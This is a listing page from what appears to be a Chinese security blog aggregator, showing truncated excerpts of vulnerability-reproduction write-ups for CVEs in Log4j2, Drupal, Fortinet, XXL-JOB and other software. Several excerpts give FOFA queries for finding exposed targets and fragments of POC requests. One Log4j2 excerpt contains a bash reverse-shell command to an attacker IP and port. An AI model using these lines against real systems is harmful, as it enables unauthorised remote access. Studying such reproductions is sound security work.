[漏洞复现] 第21页

xdcms漏洞合集-漏洞复现

目录xdcmsv3.0.1漏洞环境搭建代码审计目录总览配置文件总览登陆处sql注入漏洞分析漏洞复现注册处sql注入漏洞漏洞分析漏洞复现getshell任意文件删除xdcms订餐网站管理系统v1.0漏洞简介环境搭建全局变量的覆盖漏洞分析漏洞复现后台任意源码读取后台

渗透测试老鸟-九青·2023-11-10 11:32

用友U8 Cloud 反序列化RCE漏洞复现

0x01产品简介用友U8Cloud是用友推出的新一代云ERP，主要聚焦成长型、创新型企业，提供企业级云ERP整体解决方案。0x02漏洞概述用友U8Cloud存在多处（FileManageServlet和LoginVideoServlet）反序列化漏洞，系统未将用户传入的序列化数据进行过滤就直接执行反序列化操作，结合系统本身存在的反序列化利用链，最终造成远程代码执行。0x03影响范围用友U8Clou

OidBoy_G·2023-11-10 10:21

XXL-JOB 默认 accessToken 身份绕过漏洞复现

0x01产品简介XXL-JOB是一款开源的分布式任务调度平台，用于实现大规模任务的调度和执行。0x02漏洞概述XXL-JOB默认配置下，用于调度通讯的accessToken不是随机生成的，而是使用application.properties配置文件中的默认值。在实际使用中如果没有修改默认值，攻击者可利用此绕过认证调用executor，执行任意代码，从而获取服务器权限。XXL-JOB之前版本acce

OidBoy_G·2023-11-10 10:51

IP-guard WebServer RCE漏洞复现

0x01产品简介IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件，旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。0x02漏洞概述漏洞成因在Web应用程序的实现中，参数的处理和验证是确保应用安全的关键环节。然而，当参数处理不当时，就会出现安全漏洞，给攻击者留下可利用的空间。在此次IP-guard的漏洞中，关键问题出现在对某个参数的处理上。该参数原本用于指定

OidBoy_G·2023-11-10 10:38

Aria2 任意文件写入漏洞复现

漏洞描述Aria2是一款轻量级、多协议、多源下载工具（支持HTTP/HTTPS、FTP、BitTorrent、Metalink），内置XML-RPC和JSON-RPC接口。我们可以使用RPC接口来操作aria2并将文件下载到任意目录，从而造成任意文件写入漏洞。漏洞环境及利用搭建docker环境因为rpc通信需要json或者xml，不方便，所以我们可以使用第三方UI来和目标进行通信，比如YetAno

blackK_YC·2023-11-10 06:27

Shellshock 远程命令注入（CVE-2014-6271）漏洞复现

blackK_YC·2023-11-10 06:27

AppWeb 身份验证绕过漏洞（CVE-2018-8715）漏洞复现

漏洞描述AppWeb是一个嵌入式Web服务器，基于由EmbedthisSoftwareLLC开发和维护的开源GPL协议。它是用C/C++编写的，几乎可以在任何现代操作系统上运行。当然，它旨在为嵌入式设备提供一个Web应用程序容器。AppWeb可以配置为身份验证，其中包括以下三种身份验证方法：basic、传统HTTP基本认证digest，改进了HTTP基本身份验证。在此模式下，Cookie将用于身份

blackK_YC·2023-11-10 06:57

[ vulhub漏洞复现篇 ] Apache Flink 文件上传漏洞 (CVE-2020-17518)

博主介绍‍博主介绍：大家好，我是_PowerShell，很高兴认识大家~✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！文章目录博主介绍一、漏洞编号二、漏洞描述三、影响范围四、指纹信息五、环境搭建1、进入CVE-2020-17518环境2、启

_PowerShell·2023-11-10 06:53

Apache APISIX Dashboard 未经认证访问导致 RCE（CVE-2021-45232）漏洞复现

漏洞描述ApacheAPISIX是一个动态、实时、高性能的API网关，而ApacheAPISIXDashboard是一个简单易用的前端界面，用于管理ApacheAPISIX。在2.10.1之前的ApacheAPISIXDashboard中，ManagerAPI使用了两个框架，并在框架的基础上引入了框架，所有的API和认证中间件都是基于框架开发的。但是这些API中有2个，并且直接使用框架的接口，它们

blackK_YC·2023-11-10 06:47

Viessmann Vitogate远程代码执行漏洞(CVE-2023-45852)

ViessmannVitogate远程代码执行漏洞（CVE-2023-45852）免责声明漏洞描述漏洞影响漏洞危害网络测绘Fofa:body="vitogate300"漏洞复现1.构造poc2.执行命令查看用户免责声明仅用于技术交流

小胡yhu·2023-11-09 17:10

【漏洞复现】XXL-JOB默认accessToken身份绕过远程命令执行漏洞

漏洞描述xxl-job是一个中心式分布式的调度平台，调度中心和执行器解耦，执行器和业务代码耦合，代码的侵入性少，学习简单、开发简单、轻量级XXL-JOB是一个轻量级分布式任务调度平台，其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线，开箱即用。该系统存在远程命令执行漏洞。免责声明技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社

丢了少年失了心1·2023-11-09 17:39

【漏洞复现】深信服下一代防火墙NGAF存在任意文件上传漏洞附POC

漏洞描述深信服下一代防火墙（Next-GenerationApplicationFirewall）NGAF是面向应用层设计，能够精确识别用户、应用和内容，具备完整安全防护能力，能够全面替代传统防火墙，并具有强劲应用层处理能力的全新网络安全设备。NGAF解决了传统安全设备在应用识别、访问控制、内容安全防护等方面的不足，同时开启所有功能后性能不会大幅下降。区别于传统的网络层防火墙，NGAF具备L2-L

丢了少年失了心1·2023-11-09 17:38

【漏洞复现】DocCMS keyword SQL注入漏洞

漏洞描述DocCms[音译：稻壳Cms]，定位于为企业、站长、开发者、网络公司、VI策划设计公司、SEO推广营销公司、网站初学者等用户量身打造的一款全新企业建站、内容管理系统，服务于企业品牌信息化建设，也适应用个人、门户网站建设！Doccms存在SQL注入漏洞，攻击者可利用漏洞获取数据库敏感信息。免责声明技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用

丢了少年失了心1·2023-11-09 17:08

【漏洞复现】Viessmann Vitogate远程代码执行(CVE-2023-45852)

漏洞描述Vitogate3002.1.3.0版本的/cgi-bin/vitogate.cgi存在一个未经身份验证的攻击者可利用的漏洞，通过put方法中的ipaddrparamsJSON数据中的shell元字符实现绕过身份验证并执行任意命令。免责声明技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的

丢了少年失了心1·2023-11-09 17:24

Drupal远程代码执行（CVE-2019-6341）

漏洞复现寻找文件上传模块，上传vulhub自带的php代码文件，里面应该是夹杂着js代码的，可以vim打开看虽然看不太懂，但是

学安全的废物·2023-11-09 17:13

[ vulhub漏洞复现篇 ] Drupal 远程代码执行漏洞（CVE-2019-6339）

博主介绍‍博主介绍：大家好，我是_PowerShell，很高兴认识大家~✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！文章目录博主介绍一、漏洞编号二、影响范围三、漏洞描述四、环境搭建1、进入CVE-2019-6339环境2、启动CVE-20

_PowerShell·2023-11-09 17:11

[ vulhub漏洞复现篇 ] Drupal Drupalgeddon 2 远程代码执行漏洞（CVE-2018-7600）

博主介绍‍博主介绍：大家好，我是_PowerShell，很高兴认识大家~✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！文章目录博主介绍一、漏洞编号二、影响范围三、漏洞描述四、环境搭建1、进入CVE-2018-7600环境2、启动CVE-20

_PowerShell·2023-11-09 17:41

[ vulhub漏洞复现篇 ] Drupal 远程代码执行漏洞（CVE-2018-7602）

博主介绍‍博主介绍：大家好，我是_PowerShell，很高兴认识大家~✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！文章目录博主介绍一、漏洞编号二、影响范围三、漏洞描述四、环境搭建1、进入CVE-2018-7602环境2、启动CVE-20

_PowerShell·2023-11-09 17:41

〖EXP〗Drupal远程代码执行漏洞复现&Ladon批量利用

漏洞简介Drupal是一个开源内容管理系统（CMS），全球超过100万个网站（包括政府，电子零售，企业组织，金融机构等）使用。两周前，Drupal安全团队披露了一个非常关键的漏洞，编号CVE-2018-7600Drupal对表单请求内容未做严格过滤，因此，这使得攻击者可能将恶意注入表单内容，此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。漏洞分析https://re

k8gege·2023-11-09 17:39

log4j关于JNDI注入漏洞验证及修复

log4j关于JNDI注入漏洞验证及修复一、漏洞说明二、漏洞检测方案三、影响范围四、影响组件五、彻底解决方案（附升级包下载地址）六、临时缓解方案七、漏洞复现八、本地编译log4j-2.15.0-rc版本方法

软件研发漫谈·2023-11-09 11:08

【漏洞复现】SQL注入漏洞

漏洞描述红帆HFOffice医微云是广州红帆科技有限公司研发的专注医疗行政办公管理，与企业微信全方位结合，提供协同办公、知识库、专家系统、BI等应用，进一步帮助医院移动办公落地，成就面向医院管理的“智慧管理”。平台list接口处存在SQL注入漏洞，未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证，最终可能导致服务器失陷。资产收集fofa：”HFOffice”hunter：web.body=

渗透测试老鸟-九青·2023-11-09 10:16

CVE-2021-22986 F5 BIG-IP 远程代码执行漏洞复现

F5BIG-IPF5BIG-IP链路控制器用于最大限度提升链路性能与可用性的下一代广域网链路流量管理。漏洞简介F5BIG-IP存在代码执行漏洞，该漏洞允许定义身份验证的攻击者通过BIG-IP管理界面和自身IP地址对iControlREST接口进行网络访问，以执行任意系统命令，控制目标机器。影响版本F5BIG-IP16.0.0-16.0.1F5BIG-IP15.1.0-15.1.2F5BIG-IP1

cHr1s_h·2023-11-09 07:19

PTE_SSRF漏洞复现（Day1）

Web安全基础-请求伪造漏洞SSRF：服务器端请求伪造，由攻击者构造请求，由服务端发起请求的一个安全漏洞，能够请求到与它相连而与外网隔离的内部系统。攻击方式如下所示：1.信息收集：可以对外网、服务器所在的内网、本地进行端口扫描，某些情况下端口的Banner会回显出来（比如3306的）；2.执行指令：攻击运行在内网或本地的应用程序（比如溢出）；3.信息收集：对内网Web应用进行指纹识别（比如识别企业

tacooo·2023-11-09 00:51

【漏洞复现】 Shiro 反序列化漏洞

一、漏洞介绍ApacheShiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。ApacheShiro1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。漏洞原理shiro默认使用

渗透测试老鸟-九青·2023-11-09 00:05

漏洞复现--中远麒麟堡垒机SQL注入

免责声明：文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行承担！一：漏洞描述麒麟堡垒机用于运维管理的认证、授权、审计等监控管理，在该产品admin.php处存在SQL注入漏洞二:

芝士土包鼠·2023-11-08 22:55

明御安全网关任意文件上传漏洞复现

漏洞复现FOFA语法：title="明御安全网关"访问页面如下：POC：/webui/?g=aaa_portal

Ling-cheng·2023-11-08 22:53

时空智友企业信息管理系统任意文件读取漏洞复现

漏洞复现FOFA语法：body="时空智友企业信息管理"访问页面如下所示：POC：POST请求/login：op=verify%7Clogin&targe

Ling-cheng·2023-11-08 22:53

漏洞复现-中远麒麟堡垒机sql注入

免责声明：文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责一：漏洞描述中远麒麟堡垒机能够提供细粒度的访问控制,最大限度保护用户资源的安全。麒麟堡垒机存在SQL注入漏洞漏洞。二

Amica.·2023-11-08 22:52

中远麒麟堡垒机SQL注入漏洞复现

漏洞复现FOFA语法：body="url=\"admin.php?

Ling-cheng·2023-11-08 22:51

高效自学-网络安全（黑客技术）

2.渗透技术掌握A.初级渗透首先要学习网络安全的渗透基础内容，包括信息收集，web安全，渗透工具精通，漏洞复现和实战漏洞挖掘B.高级渗透-分方向内容分很多但是整体所需要掌握的内容差

羊村最强沸羊羊·2023-11-08 21:17

Vmware CVE-2021-21972漏洞复现

一、漏洞简介vSphere是VMware推出的虚拟化平台套件，包含ESXi、vCenterServer等一系列的软件。其中vCenterServer为ESXi的控制中心，可从单一控制点统一管理数据中心的所有vSphere主机和虚拟机。vSphereClient（HTML5）在vCenterServer插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放443端口的服务器向vCenterSer

A3word_C·2023-11-08 21:33

Juniper Networks Junos OS EX远程命令执行漏洞(CVE-2023-36845)

JuniperNetworksJunosOSEX远程命令执行漏洞（CVE-2023-36845）免责声明漏洞描述漏洞影响漏洞危害网络测绘Fofa:body="J-web"||title="JuniperWebDeviceManager"漏洞复现

小胡yhu·2023-11-08 19:10

MeterSphere 任意文件读取漏洞（CVE-2023-25814）

MeterSphere任意文件读取漏洞（CVE-2023-25814）免责声明漏洞描述漏洞影响漏洞危害网络测绘Fofa:title="MeterSphere"漏洞复现1.构造poc2.发送数据包3.查看文件免责声明仅用于技术交流

小胡yhu·2023-11-08 19:10

爱思华宝邮件服务器本地文件包含漏洞

爱思华宝邮件服务器本地文件包含漏洞免责声明漏洞描述漏洞影响漏洞危害网络测绘Fofa:title="Icewarpwebklient"漏洞复现1.构造poc2.读取文件免责声明仅用于技术交流,目的是向相关安全人员展示漏洞利用方式

小胡yhu·2023-11-08 19:09

飞塔CVE-2022-40684复现

：FortiGate虚拟化环境下载FortiGate-VM：登录后台：配置IP：配置网关：（获取试用授权）配置DNS：（获取试用授权）开启RestAPI：（方便后期查看攻击日志）注册账号打开web界面漏洞复现

G3et·2023-11-08 19:38

CVE-2018-13382 环境搭建+漏洞复现

CVE-2018-13382环境搭建+漏洞复现一.环境搭建因为该漏洞和CVE-2018-13379所需要的环境是相同的，均处于Fortigate路由器的SSLVPN登录界面，所以环境搭建步骤就不再赘述了

yxngu·2023-11-08 19:07

CVE-2022-40684 Fortinet多个产品身份验证绕过漏洞复现

目录0x01声明：0x02简介：0x03漏洞概述：0x04影响版本：0x05环境搭建：

Evan Kang·2023-11-08 19:37

CVE-2018-13379 环境搭建+漏洞复现

CVE-2018-13379环境搭建+漏洞复现在复现该漏洞时候，发现网上的文章很少有本地复现的，所以将该漏洞的复现过程和环境的搭建写成文章，方便自己温习，也方便大家参考。

yxngu·2023-11-08 19:36

Fortigate SSL VPN路径遍历漏洞（CVE-2018-13379）

FortigateSSLVPN路径遍历漏洞（CVE-2018-13379）免责声明漏洞描述漏洞影响漏洞危害网络测绘Fofa:body="FortiTokenclockdriftdetected"漏洞复现

小胡yhu·2023-11-08 19:33

通达OA get_datas.php前台sql注入-可获取数据库session登入后台漏洞复现 [附POC]

文章目录通达OAget_datas.php前台sql注入-可获取数据库session登入后台漏洞复现[附POC]0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境0x05漏洞复现1.访问漏洞环境

gaynell·2023-11-08 18:20

新开普智慧校园系统RCE漏洞 [附POC]

文章目录新开普智慧校园系统RCE漏洞[附POC]0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境0x05漏洞复现1.访问漏洞环境2.构造POC3.复现0x06修复建议新开普智慧校园系统RCE

gaynell·2023-11-08 18:20

CNVD-C-2023-76801：用友NC uapjs RCE漏洞复现[附POC]

文章目录用友NCuapjsRCE漏洞复现(CNVD-C-2023-76801)[附POC]0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境0x05漏洞复现1.访问漏洞环境2.构造POC3.复现

gaynell·2023-11-08 18:02

【Web安全】CORS跨域资源共享漏洞

文章目录前言一、漏洞概述二、漏洞原理三、CORS响应头类型四、漏洞挖掘五、修复建议前言本篇文章主要介绍CORS跨域漏洞产生的原理，漏洞复现过程，挖掘手段以及如何进行修复，文章难免会有失误，烦请留下宝贵建议

李火火安全阁·2023-11-08 16:06

vulnhub Funbox: Under Construction

~VulnHub漏洞复现：探测靶机的IP地址nmap进行探测靶机的服务和端口访问80端口dirb扫描目录，发现catalog目录访问一下，发现是个oscommerce的网站查看版本的漏洞，发现命令执行漏洞查看该文件

xzhome·2023-11-08 12:43

Fastjson 1.2.47 RCE漏洞复现

一、漏洞特征Fastjson提供了autotype功能，允许用户在反序列化数据中通过“@type”指定反序列化的类型，Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法，那么当组件开启了autotype功能并且反序列化不可信数据时，攻击者可以构造数据，使目标应用的代码执行流程进入特定类的特定setter或者getter方法中，若指定类的指定方法中有可被恶意

只为了拿0day·2023-11-08 05:02

漏洞复现——log4j2-rce（CVE-2021-44228）

一、漏洞介绍漏洞名称：ApacheLog4j2远程代码执行漏洞组件名称：ApacheLog4j2截止2021年1210，受影响的Apachelog4j2版本：2.0≤ApacheLog4j&/dev/tcp/ip/port0>&1此处的ip为192.168.3.3，port可使用任意未被占用的端口，此处指定为5555即bash-i>&/dev/tcp/192.168.3.3/55550>&1对其进

小林话安全·2023-11-08 05:30

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

文章源自于个人博客:http://vfree.ltd/前言2021/12/09，阿里云安全团队向apache报告了由log4j日志引起的远程代码执行，12月10日，当天白帽跟提前过大年似的，疯狂刷src(利用超级简单)，让部分src平台暂时停止收类似该漏洞，凌晨，很多程序员和安全员被迫起来应急响应，几乎市面上的大厂都受到了该漏洞的影响这里做一个复现学习的小文章，由于对java这方面的知识雀食是薄弱

v.FREE·2023-11-08 05:30

CVE-2021-44228——Log4j2-RCE漏洞复现

漏洞介绍ApacheLog4j2是一个基于java的日志记录工具。由于ApacheLog4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，ApacheStruts2、ApacheSolr、ApacheDruid、ApacheFlink等均受影响。影响版本ApacheLog4j22.0-beta9-2.15.0（不包括安全版本

Li-D·2023-11-08 05:00

vulfocus Apache log4j2-RCE 漏洞复现（CVE-2021-44228）

根据提示，漏洞存在于http://xxxxx/hello的payload参数中，并以post的方式传参，因此我们可以利用hackerbar进行漏洞验证创建靶场后是这样一个页面。使用payload验证，发现可以触发dnslog，可以确认可以利用证明存在JNDI注入漏洞。在这里我们需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来生成payload，建立1

kb2414·2023-11-08 05:56

log4j2 CVE-2021-44228漏洞复现

Log4j2是对log4j修改后的java日志框架，漏洞影响版本2.0-beta9到2.15.0。用的是log4j还是log4j2区分：1>.Log4j2分为2个jar包，一个是接口log4j-api-${版本号}.jar，一个是具体实现log4j-core-${版本号}.jar，而log4jj只有一个jar包log4j-${版本号}.jar。2>.Log4j2的package名称前缀为org.a

冬6325·2023-11-08 05:23

推荐频道

[漏洞复现]